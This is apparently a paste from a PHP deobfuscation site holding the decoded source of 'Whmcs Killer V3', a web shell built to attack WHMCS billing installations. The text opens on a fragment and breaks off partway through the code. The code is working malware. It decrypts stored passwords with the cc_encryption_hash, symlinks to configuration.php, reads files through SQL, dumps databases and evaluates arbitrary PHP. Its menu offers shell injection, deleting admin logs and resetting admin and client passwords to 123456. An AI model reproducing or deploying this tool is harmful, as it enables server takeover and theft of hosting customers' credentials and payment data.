value='".(empty($_POST["sql_pass"])?$_COOKIE["db_password"]:htmlspecialchars($_POST["sql_pass"]))."'></td><td>";${${"GLOBALS"}["dsvjvi"]}="<input type=text name=sql_base value='".$_COOKIE["db_name"]."'>";if(isset($_POST["sql_host"])){$tvxpmvmmye="tmp";if($db->connect($_POST["sql_host"],$_POST["sql_login"],$_POST["sql_pass"],$_POST["sql_base"])){switch($_POST["charset"]){case"Windows-1251":$db->setCharset("cp1251");break;case"UTF-8":$db->setCharset("utf8");break;case"KOI8-R":$db->setCharset("koi8r");break;case"KOI8-U":$db->setCharset("koi8u");break;case"cp866":$db->setCharset("cp866");break;}$db->listDbs();echo"<select name=sql_base><option value=''></option>";$ynsajb="item";while(${$ynsajb}=$db->fetch()){$tegxdiurlfpl="key";$tauuepvctso="value";list(${$tegxdiurlfpl},${${"GLOBALS"}["jshmnvixsqk"]})=each(${${"GLOBALS"}["tbjbrlvq"]});echo"<option value=\"".${${"GLOBALS"}["jshmnvixsqk"]}."\" ".(${$tauuepvctso}==$_POST["sql_base"]?"selected":"").">".${${"GLOBALS"}["jshmnvixsqk"]}."</option>";}echo"</select>";}else echo${$tvxpmvmmye};}else echo${$cowquioia};echo"</td>\n\t\t\t\t<td><input type=submit value='>>' onclick='fs(d.sf);'></td>\n                <td><input type=checkbox name=sql_count value='on'".(empty($_POST["sql_count"])?"":" checked")."> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db='".@addslashes($_POST["sql_base"])."';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value='';\n                    if(f.p2) f.p2.value='';\n                    if(f.p3) f.p3.value='';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = 'select';\n\t\t\t\td.sf.\x9v id=\"footer\" class="box\">\n\t\t<p class=\"f-left\">Coded by <a href="http://www.rab3oun.net\">RAB3OUN</a>, </p>\n\t\t<p class=\"f-right">Templates by Adminizio</p>\n\t</div> <!-- /footer -->\n</div> <!-- /main -->\n</body>\n</html>";?>

Did this file decode correctly?

Original Code

/* Decoded by unphp.net */

<?php ${"GLOBALS"}["outicdmnc"]="ii";${"GLOBALS"}["utbtewtqar"]="bg";${"GLOBALS"}["wjmktrdr"]="tmp";${"GLOBALS"}["rgwyiylp"]="total_pages";${"GLOBALS"}["yqutalc"]="bg2";${"GLOBALS"}["cjbejrsknl"]="string";${"GLOBALS"}["akttpse"]="menu";${"GLOBALS"}["jqnmewjo"]="num";${"GLOBALS"}["mlwmhwdml"]="query0";${"GLOBALS"}["kxrlsu"]="col1";${"GLOBALS"}["wgdguktpms"]="charset";${"GLOBALS"}["bqfsvypmmd"]="sql";${"GLOBALS"}["nrjjlp"]="res";${"GLOBALS"}["nhatbrs"]="table";${"GLOBALS"}["ihymmcbnbwl"]="sql1";${"GLOBALS"}["vhngkqx"]="hash";function login(){echo"\n\n<center><div id='content' class='box'>\n\n<br>\n<center>\n\n<h3  class=\"tit\">\nDB configuration of WHMCS</h3><br>\n</center>\n\n<FORM action=\""  method=\"post\" >\n\n<input type="hidden" name="form_action" value=\"1\">\n<br>\n\n<table  >\n\n\n<tr class='bg'><td>Database Host </td><td><input type="text" size=\"60" name=\"db_host\" value="".$_COOKIE["db_host"]."\"></td></tr>\n\n<tr ><td>Database Username </td><td><input type="text" size=\"60" name="db_username\" value="".$_COOKIE["db_username"].""></td></tr>\n\n<tr class='bg'><td>Database Password</td><td><input type=\"text\" size=\"60" name=\"db_password\" value="".$_COOKIE["db_password"]."\"></td></tr>\n\n<tr><td>Database Name</td><td><input type=\"text\" size="60\" name=\"db_name" value="".$_COOKIE["db_name"].""></td></tr>\n\n<tr class='bg'><td>cc_encryption_hash</td><td><input type=\"text\" size=\"60\" name=\"cc_encryption_hash\" value="".$_COOKIE["cc_encryption_hash"]."\"></td></tr>\n\n\n\n</table\n<br>\n\n<INPUT class=\"input-submit"  type=\"submit\" value=\"Submit\" name=\"Submit\">\n</FORM>\n\n\n\n<h3  class=\"tit">Symlink to configuration.php of WHMCS</h3><br>\n\n\n<FORM action=\"\"  method="post\">\n<input type="hidden" name="form_action" value=\"2"><br>\n \n<table ><tr class='bg'><td><input type="text\" size=\"30\" name="file" value=\"\">\n<br>\n </td><td><INPUT class=\"input-submit"  type="submit\" value=\"Submit\" name="Submit\"></td></tr></table>\n\n</FORM>";if($_COOKIE["login"]=="1"){${"GLOBALS"}["kusnmlekjmc"]="key";${${"GLOBALS"}["kusnmlekjmc"]}=$_COOKIE["db_name"]."-".base64_encode(base64_encode($_COOKIE["db_host"])."|".base64_encode($_COOKIE["db_username"])."|".base64_encode($_COOKIE["db_password"])."|".base64_encode($_COOKIE["db_name"])."|".base64_encode($_COOKIE["cc_encryption_hash"])."|");echo"<p class='msg info'>Short info is <br><textarea cols=50 rows='4'>$key</textarea></p><br>";}echo"<h3  class=\"tit">Short info</h3><FORM action=""  method=\"post">\n\n<input type="hidden\" name=\"form_action\" value=\"3">\n<br>\n \n<table ><tr class='bg'><td><input type="text" size="60" name='key' ></td><td>\n</td><td><INPUT class=\"input-submit"  type="submit" value="Submit\" name="Submit\"></td></tr></table>\n\n</FORM></center></div>\n<br>\n";echo"</div> <!-- /cols -->\n\t<hr class="noscreen\" />\n\t<!-- Footer -->\n\t<div id=\"footer" class=\"box\">\n\t<p class="f-left">Coded by <a href="http://www.rab3oun.net\">RAB3OUN</a>, </p>\n\t\t<p class=\"f-right">Templates by Adminizio</p>\n\t</div> <!-- /footer -->\n</div> <!-- /main -->\n</body>\n</html>";}${"GLOBALS"}["dufayepwnbm"]="key";${"GLOBALS"}["xgolbbovnt"]="title";${"GLOBALS"}["fctpqixj"]="currentFile";${"GLOBALS"}["svbmfofevz"]="user";${"GLOBALS"}["tiozloyd"]="create";${"GLOBALS"}["pvpjnbync"]="hash_length";${"GLOBALS"}["gmjxdggu"]="tmp_iv";${"GLOBALS"}["vccjfiiqqv"]="page";${"GLOBALS"}["mpnqjbte"]="type";${"GLOBALS"}["ejbqmv"]="col";${"GLOBALS"}["qryruts"]="v0";${"GLOBALS"}["ftwyltfau"]="out";${"GLOBALS"}["ixziiviuycx"]="where";${"GLOBALS"}["jgpqagwgmo"]="c";${"GLOBALS"}["nptouqgsvo"]="start_from";${"GLOBALS"}["hdpvrycfg"]="line";${"GLOBALS"}["envupsjdgmq"]="query";${"GLOBALS"}["iumgwgvbg"]="i";${"GLOBALS"}["ksmqvpc"]="iv";${"GLOBALS"}["mkqirqkmpn"]="cc_encryption_hash";${"GLOBALS"}["ubqgcbfep"]="pass";${"GLOBALS"}["kzpczwgflxjo"]="total_records";${"GLOBALS"}["cmrxvpt"]="k";${"GLOBALS"}["plkahzbtei"]="x";${"GLOBALS"}["jshmnvixsqk"]="value";${"GLOBALS"}["kwxopsllwn"]="q";${"GLOBALS"}["jftdiqsydd"]="where2";function decrypt($string,$cc_encryption_hash){${"GLOBALS"}["azrnghphq"]="hash_length";$ukxyjnbk="out";${"GLOBALS"}["hxvubmrtggw"]="hash_key";${"GLOBALS"}["wfbcvqbdz"]="hash_length";$awmmrmgv="hash_length";$utrxhjzsd="key";${"GLOBALS"}["bmuflllx"]="key";$yipcclhv="hash_key";$xundcyigro="string";${$utrxhjzsd}=md5(md5(${${"GLOBALS"}["mkqirqkmpn"]})).md5(${${"GLOBALS"}["mkqirqkmpn"]});$bxnahgiznz="string";${$yipcclhv}=_hash(${${"GLOBALS"}["bmuflllx"]});${${"GLOBALS"}["wfbcvqbdz"]}=strlen(${${"GLOBALS"}["hxvubmrtggw"]});${$bxnahgiznz}=base64_decode(${$xundcyigro});${${"GLOBALS"}["gmjxdggu"]}=substr(${${"GLOBALS"}["cjbejrsknl"]},0,${$awmmrmgv});$kphpohprr="string";${${"GLOBALS"}["cjbejrsknl"]}=substr(${${"GLOBALS"}["cjbejrsknl"]},${${"GLOBALS"}["pvpjnbync"]},strlen(${${"GLOBALS"}["cjbejrsknl"]})-${${"GLOBALS"}["pvpjnbync"]});${${"GLOBALS"}["ksmqvpc"]}=${${"GLOBALS"}["ftwyltfau"]}="";${${"GLOBALS"}["jgpqagwgmo"]}=0;while(${${"GLOBALS"}["jgpqagwgmo"]}<${${"GLOBALS"}["azrnghphq"]}){$cquolpyvl="c";${"GLOBALS"}["ozjhgjqqfdxu"]="tmp_iv";$uxjeburyk="c";${"GLOBALS"}["kkvdqsypeyw"]="hash_key";${${"GLOBALS"}["ksmqvpc"]}.=chr(ord(${${"GLOBALS"}["ozjhgjqqfdxu"]}[${$uxjeburyk}])^ord(${${"GLOBALS"}["kkvdqsypeyw"]}[${$cquolpyvl}]));++${${"GLOBALS"}["jgpqagwgmo"]};}${${"GLOBALS"}["dufayepwnbm"]}=${${"GLOBALS"}["ksmqvpc"]};${${"GLOBALS"}["jgpqagwgmo"]}=0;while(${${"GLOBALS"}["jgpqagwgmo"]}<strlen(${$kphpohprr})){${"GLOBALS"}["ghteoeji"]="c";$pysacrlobd="c";$tkdntxwpo="out";if((${${"GLOBALS"}["jgpqagwgmo"]}!=0 AND${$pysacrlobd}%${${"GLOBALS"}["pvpjnbync"]}==0)){${"GLOBALS"}["ojehiqziodc"]="hash_length";${"GLOBALS"}["xttevlql"]="hash_length";${${"GLOBALS"}["dufayepwnbm"]}=_hash(${${"GLOBALS"}["dufayepwnbm"]}.substr(${${"GLOBALS"}["ftwyltfau"]},${${"GLOBALS"}["jgpqagwgmo"]}-${${"GLOBALS"}["ojehiqziodc"]},${${"GLOBALS"}["xttevlql"]}));}$mgxamryo="c";${$tkdntxwpo}.=chr(ord(${${"GLOBALS"}["dufayepwnbm"]}[${${"GLOBALS"}["jgpqagwgmo"]}%${${"GLOBALS"}["pvpjnbync"]}])^ord(${${"GLOBALS"}["cjbejrsknl"]}[${$mgxamryo}]));++${${"GLOBALS"}["ghteoeji"]};}return${$ukxyjnbk};}${"GLOBALS"}["ieqlmszh"]="db";${"GLOBALS"}["lrhfsm"]="head";function _hash($string){${"GLOBALS"}["ezwsipeeoin"]="out";$zlfwhtfd="hash";if(function_exists("sha1")){$kxnbjsod="hash";${$kxnbjsod}=sha1(${${"GLOBALS"}["cjbejrsknl"]});}else{${"GLOBALS"}["mcfohewgb"]="hash";$pemhrfgt="string";${${"GLOBALS"}["mcfohewgb"]}=md5(${$pemhrfgt});}${${"GLOBALS"}["ezwsipeeoin"]}="";${${"GLOBALS"}["jgpqagwgmo"]}=0;while(${${"GLOBALS"}["jgpqagwgmo"]}<strlen(${$zlfwhtfd})){$xxqtfk="hash";${"GLOBALS"}["xvokssnvqmrl"]="c";$hivlmvpy="out";${$hivlmvpy}.=chr(hexdec(${$xxqtfk}[${${"GLOBALS"}["jgpqagwgmo"]}].${${"GLOBALS"}["vhngkqx"]}[${${"GLOBALS"}["jgpqagwgmo"]}+1]));${${"GLOBALS"}["xvokssnvqmrl"]}+=2;}return${${"GLOBALS"}["ftwyltfau"]};}${"GLOBALS"}["tbjbrlvq"]="item";${"GLOBALS"}["qhvkuofdkk"]="columns";function randomt(){${"GLOBALS"}["ekivblkp"]="pass";$lnwljfyptb="chars";${$lnwljfyptb}="abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);${${"GLOBALS"}["iumgwgvbg"]}=0;${${"GLOBALS"}["ekivblkp"]}="";while(${${"GLOBALS"}["iumgwgvbg"]}<=7){${"GLOBALS"}["gtdwgjyy"]="num";$wtbxqwlfv="num";${"GLOBALS"}["jtugzzh"]="pass";$bjzkihvajir="chars";${"GLOBALS"}["ugsaghy"]="i";${$wtbxqwlfv}=rand()3;$xvfgdhgpiehm="tmp";${${"GLOBALS"}["wjmktrdr"]}=substr(${$bjzkihvajir},${${"GLOBALS"}["gtdwgjyy"]},1);${${"GLOBALS"}["ubqgcbfep"]}=${${"GLOBALS"}["jtugzzh"]}.${$xvfgdhgpiehm};${${"GLOBALS"}["ugsaghy"]}++;}return${${"GLOBALS"}["ubqgcbfep"]};}${"GLOBALS"}["bwjpbyzycqo"]="r";${"GLOBALS"}["wmumpttm"]="fp";function header2(){${"GLOBALS"}["nxwhnfv"]="currentFile";${"GLOBALS"}["cjyuunxguds"]="currentFile";global$currentFile;echo"\n<html><title>Whmcs Killer V3 (Coded by RAB3OUN)</title><head>";echo"\n\t<link rel=\"stylesheet\" media="screen,projection" type="text/css\" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=1" /> \n\t<link rel="stylesheet\" media="screen,projection" type=\"text/css" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=5\" /> \n\t<link rel="stylesheet" media=\"screen,projection\" type=\"text/css" href=\"".${${"GLOBALS"}["nxwhnfv"]}."?css=4" title=\"2col\" />\n\t<link rel="alternate stylesheet\" media=\"screen,projection\" type=\"text/css" href="".${${"GLOBALS"}["cjyuunxguds"]}."?css=3\" title="1col\" /> \n\t\n\t<link rel="stylesheet" media="screen,projection\" type=\"text/css" href="".${${"GLOBALS"}["fctpqixj"]}."?css=2" /> <!-- GRAPHIC THEME -->\n\t \n";echo"\n<style>\n#content {border:1px solid #afafaf; background:#fff;width:650;}\n</style>\n<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />\n</head>\n<body >\n\t<center><img src='?img=0'></center>\n";}${"GLOBALS"}["pcpbwvmdq"]="v";${"GLOBALS"}["qwllnagb"]="str";${"GLOBALS"}["bftufbeb"]="qq";function header1(){global$currentFile;$tfrvknjxwby="query0";@${$tfrvknjxwby}=mysql_query("SELECT value FROM tblconfiguration where setting='Charset' or setting='charset'");${"GLOBALS"}["cptujylle"]="currentFile";$joiiwygqv="v0";@${${"GLOBALS"}["qryruts"]}=mysql_fetch_array(${${"GLOBALS"}["mlwmhwdml"]});$cblviygaj="currentFile";${"GLOBALS"}["ljsmfhotwoe"]="menu";${${"GLOBALS"}["wgdguktpms"]}=${${"GLOBALS"}["qryruts"]}["value"]?${$joiiwygqv}["value"]:"utf-8";echo"<?xml version=\"1.0"?><!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang=\"en" lang="en">\n<head>\n\t<meta http-equiv="Content-Type" content="text/html; charset=".${${"GLOBALS"}["wgdguktpms"]}."" />\n\t<meta http-equiv=\"content-language\" content=\"en" />\n\t<meta name="robots" content=\"noindex,nofollow\" />\n\t\n\t<link rel=\"stylesheet" media=\"screen,projection" type="text/css\" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=1" /> <!-- RESET -->\n\t<link rel="stylesheet\" media="screen,projection\" type="text/css\" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=5" /> <!-- MAIN STYLE SHEET -->\n\t<link rel=\"stylesheet\" media="screen,projection\" type="text/css" href=\"".${${"GLOBALS"}["fctpqixj"]}."?css=4\" title=\"2col" /> <!-- DEFAULT: 2 COLUMNS -->\n\t<link rel="alternate stylesheet\" media="screen,projection" type=\"text/css" href=\"".${$cblviygaj}."?css=3\" title=\"1col\" /> <!-- ALTERNATE: 1 COLUMN -->\n\t\n\t<link rel="stylesheet" media=\"screen,projection\" type="text/css" href="".${${"GLOBALS"}["cptujylle"]}."?css=2" /> <!-- GRAPHIC THEME -->\n\t \n\t<title>Whmcs Killer  V3 (Coded by RAB3OUN)</title>\n</head>\n<body>\n<div id="main\">\n<?/**/?>\n\t<!-- Tray -->\n\t<div id="tray\" class=\"box">\n\t\t<p class="f-left box\">\n\t\t\n\t\t\t <strong>WHMCS KILLER V3 </strong>\n\t\t</p>\n\t\t<p class=\"f-right\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><a href="?p=9" id="logout\">Log out</a></strong></p>\n\t</div> <!--  /tray -->\n\t<hr class="noscreen\" />\n\t<center><img src="?img=0"></center>\n\t<hr class="noscreen" />\n\t<!-- Columns -->\n\t<div id=\"cols" class="box\">\n\t\t<!-- Aside (Left Column) -->\n\t\t<div id="aside\" class="box">\n\t\t\t<div class=\"padding box">\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t</div> <!-- /padding -->\n\t\t\t<ul class=\"box\">";${"GLOBALS"}["wpjnhtc"]="y";${${"GLOBALS"}["akttpse"]}=array("h"=>"Home","102"=>"Info","1"=>"H0st r00ts","2"=>"Domains Resellers","3"=>"Clients r00ts","4"=>"Clients Hosting Accounts","63"=>"Clients Tickets ","100"=>"Clients List ","105"=>"Clients Password","7"=>"FTP and SMTP password","8"=>"Tools","101"=>"Eval PHP","99" target="blank"=>"SQL","11"=>"BackUp","106"=>"DailyEmailBackup","108"=>"1nj3c7 Sh311","109"=>"Payment Gateways","111"=>"Addon Modules","107"=>"Index","112"=>"Custom Fields");if($_COOKIE["login"]<>"1")${${"GLOBALS"}["akttpse"]}=array("c1"=>"Db Config","c2"=>"Symlink to configuration.php of WHMCS","c3"=>"Short info");foreach(${${"GLOBALS"}["ljsmfhotwoe"]} as${${"GLOBALS"}["plkahzbtei"]}=>${${"GLOBALS"}["wpjnhtc"]}){$fzpsbskhvja="x";${"GLOBALS"}["ejaljfd"]="x";if($_GET["p"]==${$fzpsbskhvja}){echo("<li id='submenu-active'>\n<a href=\"?p=$x\"> $y</a>");}else{echo("<li ><a href=\"?p=$x" > $y</a>");}if((${${"GLOBALS"}["ejaljfd"]}==8)){echo"<ul>";echo"<li><a href=\"?p=8&page=1" > Upload</a></li>\n <li><a href=\"?p=8&page=2" >Delete Adminlog </a></li>\n<li><a href=\"?p=8&page=3" >Change Admin Password to 123456</a></li>\n<li><a href="?p=8&page=4\" >Change Client Password to 123456</a></li>\n<li><a href="?p=8&page=5\" >Change Client Mail </a></li>\n<li><a href="?p=8&page=6" >Decrypt Password</a></li>";echo"</ul>";echo"</li>";}else{echo"</li>";}}echo "\t\t\t</ul>\n\t\t\n\t\t\t\n\t\t</div> <!-- /aside -->\n\t\t<hr class="noscreen\" />\n\t\t<!-- Content (Right Column) -->\n\t\t<div id=\"content\" class="box\">\n\t\t\n";}function actionSql(){$_POST["p2"]=stripslashes($_POST["p2"]);${"GLOBALS"}["dsvjvi"]="tmp";echo"<script>\n    var c_ = '".htmlspecialchars($GLOBALS["cwd"])."';\n    var a_ = '".htmlspecialchars(@$_POST["a"])."'\n    var charset_ = '".htmlspecialchars(@$_POST["charset"])."';\n    var p1_ = '".((strpos(@$_POST["p1"],"\n")!==false)?"":htmlspecialchars($_POST["p1"],ENT_QUOTES))."';\n    var p2_ = '".((strpos(@$_POST["p2"],"\n")!==false)?"":htmlspecialchars($_POST["p2"],ENT_QUOTES))."';\n    var p3_ = '".((strpos(@$_POST["p3"],"\n")!==false)?"":htmlspecialchars($_POST["p3"],ENT_QUOTES))."';\n    var d = document;\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = 'ajax=true';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr('".addslashes($_SERVER["REQUEST_URI"])."', params);\n\t}\n\tfunction sr(url, params) {\t\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open('POST', url, true);\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp("(\\\d+)([\\\S\\\\s]*)", 'm');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert('Request error!');\n\t}\n</script>\n<html>\n<title>Whmcs Killer V3 (Coded by RAB3OUN)</title>\n<head>\n\n<style>\n\n\nbody\n\n{\n\n\tbackground: #0f0e0d;\n\n\tcolor: #FF9933;\n\n\n\tpadding: 0px;\n\n\n}\n\n\na:link, body_alink\n\n\n{\n\n\t\ncolor: #FF9933;\n\n\t\ntext-decoration: none;\n\n}\n\n\na:visited, body_avisited\n\n{\n\n\tcolor: #FF9933;\n\n\ttext-decoration: none;\n\n}\n\n\na:hover, a:active, body_ahover\n\n{\n\n\t\ncolor: #FFFFFF;\n\n\t\ntext-decoration: none;\n\n\n}\nth:hover\n\n{\n\n\t\nbackground: #524f46;\n\n\t\ntext-decoration: none;\n\n\n}\n\ntd, th, p, li,table\n\n{\n\n\t\n\tbackground: #2e2b28;\n\n\tborder:1px solid #524f46;\n\n}\n\n\ninput\n\n{\n\n\tborder: 1px solid;\n\n\n\tcursor: default;\n\n\t\n\toverflow: hidden;\n\n\tbackground: #2e2b28;\n\n\tcolor: #ffffff;\n\n}\n\n</style>\n\n<head><body><div style='position:absolute;width:100%;top:0;left:0;'>\n<form method=post name=mf style='display:none;'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";class DbClass{var$type;var$link;var$res;function DbClass($type){$this->type=${${"GLOBALS"}["mpnqjbte"]};}function connect($host,$user,$pass,$dbname){$hbktdhivbc="pass";switch($this->type){case"mysql":if($this->link=@mysql_connect($host,${${"GLOBALS"}["svbmfofevz"]},${$hbktdhivbc},true))return true;break;case"pgsql":$host=explode(":",$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))return true;break;}return false;}function selectdb($db){$ltodnusf="db";switch($this->type){case"mysql":if(@mysql_select_db(${$ltodnusf}))return true;break;}return false;}function query($str){$pnyxxhktsm="str";switch($this->type){case"mysql":return$this->res=@mysql_query(${$pnyxxhktsm});break;case"pgsql":return$this->res=@pg_query($this->link,${${"GLOBALS"}["qwllnagb"]});break;}return false;}function fetch(){$zvrpgkmudooc="res";${$zvrpgkmudooc}=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case"mysql":return@mysql_fetch_assoc(${${"GLOBALS"}["nrjjlp"]});break;case"pgsql":return@pg_fetch_assoc(${${"GLOBALS"}["nrjjlp"]});break;}return false;}function listDbs(){switch($this->type){case"mysql":return$this->query("SHOW databases");break;case"pgsql":return$this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case"mysql":return$this->res=$this->query("SHOW TABLES");break;case"pgsql":return$this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case"mysql":return@mysql_error();break;case"pgsql":return@pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case"mysql":if(function_exists("mysql_set_charset"))return@mysql_set_charset(${${"GLOBALS"}["qwllnagb"]},$this->link);else$this->query("SET CHARSET ".${${"GLOBALS"}["qwllnagb"]});break;case"pgsql":return@pg_set_client_encoding($this->link,${${"GLOBALS"}["qwllnagb"]});break;}return false;}function loadFile($str){$jjybemq="i";${"GLOBALS"}["vrqgqdnkmv"]="r";$anoumrpxr="r";$qucvxuib="str";switch($this->type){case"mysql":return$this->fetch($this->query("SELECT LOAD_FILE('".addslashes(${$qucvxuib})."') as file"));break;case"pgsql":$this->query("CREATE TABLE BOFF2(file text);COPY BOFF2 FROM '".addslashes(${${"GLOBALS"}["qwllnagb"]})."';select file from BOFF2;");${${"GLOBALS"}["vrqgqdnkmv"]}=array();while(${$jjybemq}=$this->fetch())${$anoumrpxr}[]=${${"GLOBALS"}["iumgwgvbg"]}["file"];$this->query("drop table BOFF2");return array("file"=>implode("\n",${${"GLOBALS"}["bwjpbyzycqo"]}));break;}return false;}function dump($table,$fp=false){$pmyqmjlvst="item";${"GLOBALS"}["xisjyp"]="fp";$ivdjhshzv="create";${"GLOBALS"}["qxchrzuhwy"]="sql";$etgwfsagtlic="table";$dpltijsq="sql";$jeboxsmpuf="res";$pinmdaia="fp";${"GLOBALS"}["ggepebohlc"]="item";$sbnvgsacrhf="fp";switch($this->type){case"mysql":${${"GLOBALS"}["nrjjlp"]}=$this->query("SHOW CREATE TABLE `".${${"GLOBALS"}["nhatbrs"]}."`");${$ivdjhshzv}=mysql_fetch_array(${$jeboxsmpuf});${${"GLOBALS"}["qxchrzuhwy"]}=${${"GLOBALS"}["tiozloyd"]}[1].";\n";if(${$pinmdaia})fwrite(${${"GLOBALS"}["xisjyp"]},${$dpltijsq});else echo(${${"GLOBALS"}["bqfsvypmmd"]});$this->query("SELECT * FROM `".${$etgwfsagtlic}."`");${${"GLOBALS"}["lrhfsm"]}=true;while(${${"GLOBALS"}["ggepebohlc"]}=$this->fetch()){${"GLOBALS"}["hdnnufitdxnn"]="head";$drslzpmsbpf="sql";${"GLOBALS"}["bpeexhxhwqsp"]="columns";${"GLOBALS"}["gbqaypxvwi"]="k";${"GLOBALS"}["wtmttsudjy"]="v";${"GLOBALS"}["ouxevsinrea"]="sql";${${"GLOBALS"}["bpeexhxhwqsp"]}=array();$njhroqjt="item";foreach(${${"GLOBALS"}["tbjbrlvq"]} as${${"GLOBALS"}["gbqaypxvwi"]}=>${${"GLOBALS"}["wtmttsudjy"]}){$lcsrvd="k";${"GLOBALS"}["bhficwk"]="k";$vqshfvh="v";${"GLOBALS"}["tumekvi"]="v";${"GLOBALS"}["shkkxtjvpm"]="k";${"GLOBALS"}["lwbbtph"]="v";${"GLOBALS"}["lhtnncbnju"]="v";$bejvyfxqv="item";if(${${"GLOBALS"}["lwbbtph"]}==null)${${"GLOBALS"}["tbjbrlvq"]}[${$lcsrvd}]="NULL";elseif(is_numeric(${${"GLOBALS"}["tumekvi"]}))${$bejvyfxqv}[${${"GLOBALS"}["bhficwk"]}]=${$vqshfvh};else${${"GLOBALS"}["tbjbrlvq"]}[${${"GLOBALS"}["shkkxtjvpm"]}]="'".@mysql_real_escape_string(${${"GLOBALS"}["lhtnncbnju"]})."'";${${"GLOBALS"}["qhvkuofdkk"]}[]="`".${${"GLOBALS"}["cmrxvpt"]}."`";}if(${${"GLOBALS"}["hdnnufitdxnn"]}){$lfemjojv="sql";$gcpzdxgeefyi="table";$tfnybicxvhvk="head";${$lfemjojv}="INSERT INTO `".${$gcpzdxgeefyi}."` (".implode(", ",${${"GLOBALS"}["qhvkuofdkk"]}).") VALUES \n\t(".implode(", ",${${"GLOBALS"}["tbjbrlvq"]}).")";${$tfnybicxvhvk}=false;}else${${"GLOBALS"}["bqfsvypmmd"]}="\n\t,(".implode(", ",${$njhroqjt}).")";if(${${"GLOBALS"}["wmumpttm"]})fwrite(${${"GLOBALS"}["wmumpttm"]},${$drslzpmsbpf});else echo(${${"GLOBALS"}["ouxevsinrea"]});}if(!${${"GLOBALS"}["lrhfsm"]})if(${${"GLOBALS"}["wmumpttm"]})fwrite(${$sbnvgsacrhf},";\n\n");else echo(";\n\n");break;case"pgsql":$this->query("SELECT * FROM ".${${"GLOBALS"}["nhatbrs"]});while(${$pmyqmjlvst}=$this->fetch()){${"GLOBALS"}["xwtkrteeq"]="columns";${${"GLOBALS"}["xwtkrteeq"]}=array();${"GLOBALS"}["ijecfsmnl"]="item";$mxlevuw="sql";${"GLOBALS"}["lhqhwppixrk"]="table";$vqycrvflg="fp";$mciooiscb="sql";foreach(${${"GLOBALS"}["tbjbrlvq"]} as${${"GLOBALS"}["cmrxvpt"]}=>${${"GLOBALS"}["pcpbwvmdq"]}){$rivcarkqxc="k";${${"GLOBALS"}["tbjbrlvq"]}[${${"GLOBALS"}["cmrxvpt"]}]="'".addslashes(${${"GLOBALS"}["pcpbwvmdq"]})."'";${${"GLOBALS"}["qhvkuofdkk"]}[]=${$rivcarkqxc};}${$mxlevuw}="INSERT INTO ".${${"GLOBALS"}["lhqhwppixrk"]}." (".implode(", ",${${"GLOBALS"}["qhvkuofdkk"]}).") VALUES (".implode(", ",${${"GLOBALS"}["ijecfsmnl"]}).");"."\n";if(${$vqycrvflg})fwrite(${${"GLOBALS"}["wmumpttm"]},${$mciooiscb});else echo(${${"GLOBALS"}["bqfsvypmmd"]});}break;}return false;}}$cowquioia="tmp";${${"GLOBALS"}["ieqlmszh"]}=new DbClass($_POST["type"]);${"GLOBALS"}["fnpzhrdxijn"]="db";if(@$_POST["p2"]=="download"){$db->connect($_POST["sql_host"],$_POST["sql_login"],$_POST["sql_pass"],$_POST["sql_base"]);${"GLOBALS"}["mjlpxlpdxdu"]="fp";$db->selectdb($_POST["sql_base"]);switch($_POST["charset"]){case"Windows-1251":$db->setCharset("cp1251");break;case"UTF-8":$db->setCharset("utf8");break;case"KOI8-R":$db->setCharset("koi8r");break;case"KOI8-U":$db->setCharset("koi8u");break;case"cp866":$db->setCharset("cp866");break;}if(empty($_POST["file"])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: 